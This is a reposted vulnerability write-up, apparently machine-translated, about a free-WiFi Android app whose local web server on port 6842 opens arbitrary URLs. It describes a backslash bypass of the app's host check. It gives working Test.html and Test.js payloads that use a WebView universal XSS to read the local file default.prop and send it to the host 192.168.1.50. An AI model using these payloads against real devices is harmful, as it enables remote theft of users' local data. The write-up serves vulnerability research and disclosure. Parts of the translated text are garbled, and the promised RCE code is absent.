Free WIFI Remote Control of user behavior (Trojan shell theft of information)

Source: Internet
Author: User

free WIFI Remote Control of user behavior (Trojan shell theft of information)

what are the potential risks of free WIFI webshell functions?

Through netstat, I found that free wifi listens to port 6842. What is the reason for this port? Can I use it?

# busybox netstat -tunlp                                     Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    tcp        0      0 :::6842                 :::*                    LISTEN      17222/com.qihoo.fre

First, reverse the client to view the function of this port, search by keyword 6842


Catch up with the parent class and find it is a lightweight android webserver with nanohttp


Github has its source code. In this example, only part of the code is extracted in the Project.

[Https://github.com/NanoHttpd/nanohttpd]

Continue to view how the parameter is passed.


The url in the request u is taken out and opened in the browser, but before that, there is a host judgment.



It seems that you can only open the domain name under, And it is troublesome to use it again. How can I find an xss in the domain? Or bypass this host to determine?

Tests show that this restriction can be bypassed by backslash.

Next, how can we further exploit this problem to open a specified Webpage through a browser? The first thing that comes to mind is:

-Phishing/Trojan apk/advertisement

-Webview rce

-Webview UXSS

Now we will do two experiments:

The first is to remotely open a specified Webpage through free wifi and use webview UXSS to steal user local data.



Test.html
 

Open http://notfound/Get local file!<script>
function exploit1() {
window.open('\u0000javascript:document.body.innerHTML="<script src=http://192.168.1.50/test.js><iframe src=file:/default.prop onload=exploit2()  style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<Iframe id = "iframe" name = "test" src = "http://www.example.com/" style = "width: 100%; height: 1000px;"> </iframe>


Test. js
 

var flag = 0;function exploit2(){  if(flag) {return}  window.open('\u0000javascript:location.replace("http://192.168.1.50/?file="+escape(document.body.innerHTML))','test2');  flag = 1;}

The second is to use free wifi to remotely open a specified webpage and use webview for remote code execution.
Rce.html



Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.